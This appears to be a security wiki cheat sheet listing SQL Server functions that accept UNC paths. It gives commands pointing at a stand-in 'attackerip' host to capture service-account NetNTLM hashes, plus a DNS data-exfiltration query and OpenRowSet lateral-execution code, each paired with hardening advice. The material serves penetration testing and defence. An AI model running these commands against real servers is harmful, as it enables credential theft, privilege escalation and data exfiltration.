-
Notifications
You must be signed in to change notification settings - Fork 462
SQL Server UNC Path Injection Cheat Sheet
Description of Issue
This is a list of native SQL Server functions/commands that support UNC path [injections] by default. The primary concern is that least privilege SQL/Windows logins will have the ability to perform UNC path injection attacks against the native SQL Server functions to obtain the NetNTLM password hash for the SQL Server service account. The SQL Server service account has sysadmin privileges by default in all versions of SQL Server. As result, UNC path injection can be used as a semi-reliable privilege escalation technique if the password hash can be cracked offline or relayed to another server.
Also, UNC path injection can be used for out-of-band data exfiltration using DNS sub domains. It can be used via direct access or SQL injection attacks. Any of the techniques below could be leveraged to that end. For example, the injection below would perform a DNS query for "master.dataexfildomain.com".
SELECT * FROM fn_trace_gettable('\\'+(SELECT name from master..sysdatabases where database_id=1)+'.dataexfildomain.com',default)
General Recommendations
REVOKE default permissions from the public role that allows the execution of stored procedures/functions that can be used to perform UNC path injection. Do not provide SQL/Windows logins with execute permission on stored procedures/functions that can be used to perform UNC path injection unless it is required for a defined business purpose. Also, ensure that the MS16-136 patch has been applied to prevent exploitation of UNC path injection in the BACKUP and RESTORE functions. Please note that no patch is available for SQL Server 2008 and prior.
Note: This list is most likely not complete.
All of the stored procedures/functions listed in this section are supported by SQL Server 2000 to 2016 (excluding Azure).
xp_dirtree
Commands:
xp_dirtree '\\attackerip\file'
Notes: EXECUTE by default
Recommendation: REVOKE EXECUTE ON xp_dirtree TO public
xp_fileexist
Commands:
xp_fileexist '\\attackerip\file'
Notes: EXECUTE by default
Recommendation: REVOKE EXECUTE ON xp_fileexist TO public
BACKUP
Commands:
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
Notes: The Public role can't actually execute the BACKUP, but the UNC path is resolved prior to the authorization check.
Recommendation: Apply MS16-136. No patch available for SQL Server 2008 and prior.
RESTORE
Commands:
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
Notes: The Public role can't actually execute the RESTORE, but the UNC path is resolved prior to the authorization check.
Recommendation: Apply MS16-136. No patch available for SQL Server 2008 and prior.
Note: Almost every stored procedure/function listed below supports UNC file paths by design.
DBCC CHECKPRIMARYFILE
DBCC checkprimaryfile ('\\attackerip\file')
More Here: https://ss64.com/sql/dbcc_undocumented.html
CREATE ASSEMBLY
-- Create assembly CREATE ASSEMBLY HelloWorld FROM '\\attackerip\file' WITH PERMISSION_SET = SAFE; GO
sp_addextendedproc
-- Add exteneded stored procedure sp_addextendedproc 'xp_hello','\\attackerip\file'
Create Certificate
-- Create Certificate CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\attackerip\file'; GO
Backup Certificate
-- Backup Certificate BACKUP CERTIFICATE test01 TO FILE = '\\attackerip\file' WITH PRIVATE KEY (decryption by password = 'superpassword', FILE = '\\attackerip\file', encryption by password = 'superpassword'); go
BACKUP MASTER KEY
-- Backup to file - Master Key BACKUP MASTER KEY TO FILE = '\\attackerip\file' ENCRYPTION BY PASSWORD = 'password' GO
BACKUP SERVICE MASTER KEY
-- Backup to file - Service Master Key BACKUP SERVICE MASTER KEY TO FILE = '\\attackerip\file' ENCRYPTION BY PASSWORD = 'password' go
RESTORE MASTER KEY
-- Restore from file - Master Key RESTORE MASTER KEY FROM FILE = '\\attackerip\file' DECRYPTION BY PASSWORD = 'password' ENCRYPTION BY PASSWORD = 'password' go
RESTORE SERVICE MASTER KEY
-- Restore from file - Service Master Key RESTORE SERVICE MASTER KEY FROM FILE = '\\attackerip\file' DECRYPTION BY PASSWORD = 'password' go
BULK INSERT - FROM
-- Read data from file - Bulk insert 1 CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)) BULK INSERT #TEXTFILE FROM '\\attackerip\file' DROP TABLE #TEXTFILE
BULK INSERT - WITH
-- Read data from file - Bulk insert 2 CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)) BULK INSERT #TEXTFILE FROM '\\attackerip\file' WITH (FORMATFILE = '\\testing21\file') DROP TABLE #TEXTFILE
sys.fn_xe_file_target_read_file
-- Read data from a file - fn_xe_file_target_read_file SELECT * FROM sys.fn_xe_file_target_read_file ('\\attackerip\file','\\attackerip\file',null,null) GO
sys.fn_get_audit_file
-- Read data from a file - fn_get_audit_file SELECT * FROM sys.fn_get_audit_file ('\\attackerip\file','\\attackerip\file',default,default); GO
sys.fn_trace_gettable
Note: Requires ALTER TRACE permission on the server.
-- Read trace file into temp table SELECT * INTO temp_trc FROM fn_trace_gettable('\\attackerip\file.trc', default); -- Read trace file SELECT * FROM fn_trace_gettable('\\attackerip\file.trc', default);
CREATE SERVER AUDIT
-- Create Server Audit to File CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\attackerip\file'); GO
CREATE CRYPTOGRAPHIC PROVIDER
-- Install a cryptographic provider sp_configure 'EKM provider enabled',1 RECONFIGURE GO CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\attackerip\file'; GO
CREATE EXTERNAL FILE FORMAT
-- External file format - Azure only CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\testing21\file'); GO
xp_subdirs
-- xp_subdirs xp_subdirs '\\attackerip\file'
xp_cmdshell
-- xp_cmdshell xp_cmdshell 'dir \\attackerip\file'
fn_dump_dblog
-- requires sysadmin or db_owner role SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1 ,'\\attackerip\fakefile.bak' ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL ,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL ,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL ,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL ,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL ,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL ,NULL,NULL,NULL,NULL)
OpenRowSet: Shared Account Fun
This should work on SQL Server 2005 and later. This technique can also be used to transparently execute commands on remote SQL Servers if the servers share a service account and you are running as a sysadmin. This is just exploiting shared service accounts in another way.
-- Enable advanced options EXEC sp_configure 'show advanced options', 1 RECONFIGURE GO -- Enabled ad hoc queries EXEC sp_configure 'ad hoc distributed queries', 1 RECONFIGURE GO -- Execute SQL query on a remote SQL Server as a sysadmin. This uses the SQL Server service account to authenticate to the remote SQL Server instance. DECLARE @sql NVARCHAR(MAX) set @sql = 'select a.* from openrowset(''SQLNCLI'', ''Server=SQLSERVER2;Trusted_Connection=yes;'', ''select * from master.dbo.sysdatabases'') as a' select @sql EXEC sp_executeSQL @sql
OpenRowSet: Microsoft.Jet.OLEDB.4.0
Ref: https://www.experts-exchange.com/articles/3025/Retrieving-Data-From-Excel-Using-OPENROWSET.html
Ref: https://msdn.microsoft.com/en-us/library/ms179856.aspx
SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0', 'Data Source=\\server1\DataFolder\Documents\TestExcel.xls;Extended Properties=EXCEL 5.0')...[Sheet1$] ;
-- Excel 97-2003 -- Requires ad-hoc queries to be enabled and the provider to be installed. SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0', 'Excel 8.0;HDR=YES;Database=\\server\temp\Products.xls', 'select * from [ProductList$]');
OpenRowSet: Microsoft.ACE.OLEDB.12.0
-- Excel 2007-2010 -- Requires ad-hoc queries to be enabled and the provider to be installed. SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 12.0 Xml;HDR=YES;Database=\\server\temp\Products.xlsx', 'SELECT * FROM [ProductList$]');
--old Excel with new ACE driver - working query 1 (unc injection) SELECT * --INTO #productlist FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 8.0;HDR=YES;Database=\\server\temp\Products.xls', 'SELECT * FROM [ProductList$]');
--old Excel with new ACE driver - working query 2 (unc injection) SELECT * --INTO #productlist FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 12.0;HDR=YES;Database=\\server\temp\Products.xls', 'SELECT * FROM [ProductList$]');
SELECT * --INTO #productlist FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 12.0 Xml;HDR=YES;Database=\\server\temp\Products.xlsx', 'SELECT * FROM [ProductList$]');
WebDAV Notes
Below are some formats supported for WebDAV.
xp_dirtree '\\hostname@SSL\test' --ssl 443 xp_dirtree '\\hostname@SSL@1234\test' --ssl port 1234 xp_dirtree '\\hostname@1234\test' --http
Below are SQL Server stored procedures that suffer from UNC path injection that are associated with non default software.
Requires installation of SCCM Client Push (Common)
Reference:
https://twitter.com/_Mayyhem/status/1540338845832679424
https://www.anoopcnair.com/sccm-client-push-installation-status-using-sql-query/
USE [CM_PS1] GO DECLARE @return_value int EXEC @return_value = [dbo].[sp_CP_GenerateCCRByName] @MachineNameList = N'Target System Name Here', @SiteCode = N'PS1', @bForced = false, @bForceReinstall = false SELECT 'Return Value' = @return_value
- PowerUpSQL Commands
- UNC Path Injection
- Connection Strings
- SQL Server SPN Formats
- SQL Server Detective Controls
- Code Templates
- Introduction to PowerUpSQL
- Blindly Discover SQL Server Instances
- Finding Sensitive Data on Domain SQL Servers
- Finding Weak Passwords for Domain SQL Servers on Scale
- Finding Default Passwords Associated with Application Specific Instances
- Get Sysadmin as Local Admin
- Get Windows Auto Login Passwords via SQL Server
- Establishing Registry Persistence via SQL Server
- Establishing Persistence via SQL Server Triggers
- Establishing Persistence via SQL Server Startup Procedures
- Crawling SQL Server Links
- Attacking SQL Server CLR
- Bypassing SQL Server Logon Trigger Restrictions
- SQL Server as a C2
- Dumping Active Directory Information with SQL Server
- Attacking Stored Procedures via SQLi
- Attacking Insecure Impersonation Configurations
- Attacking Trustworthy Databases
- Enumerating Logins and Domain Accounts via SQL Server
- Using SQL Server to Attack Forest Trusts
- Exploiting Global Temporary Tables
- Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation
- 2020 May Troopers20 Video
- 2020 May Troopers20 Slides
- 2018 Aug BH Arsenal Video
- 2018 Aug BH Arsenal Slides
- 2017 SEPT DerbyCon7 Video
- 2017 SEPT DerbyCon7 Slides
- 2017 May Secure360 Slides
- 2017 May THOTCON Slides
- 2016 OCT Arcticcon Slides
- 2016 OCT PASS Webinar Video
- 2016 SEPT DerbyCon6 Slides
- 2016 SEPT DerbyCon6 Video
- 2015 APR OWASP Slides
- 2015 APR OWASP Video
- Discover SQL Server Instances
- Unauthenticated to SQL Login - Default Passwords
- Domain User to SQL Sysadmin - UNC Injection
- SQL Login to Sysadmin-Auto
- SQL Login to Sysadmin-LoginEnum+PwGuess
- SQL Login to Sysadmin-Link Crawling 1
- SQL Login to Sysadmin-Link Crawling 2
- SQL Login to OS Admin-UNC Path Injection
- OS Admin to Sysadmin-Impersonation
- Audit Configurations
- Find Sensitive Data
- Attacking SQL Server CLR Assemblies Webinar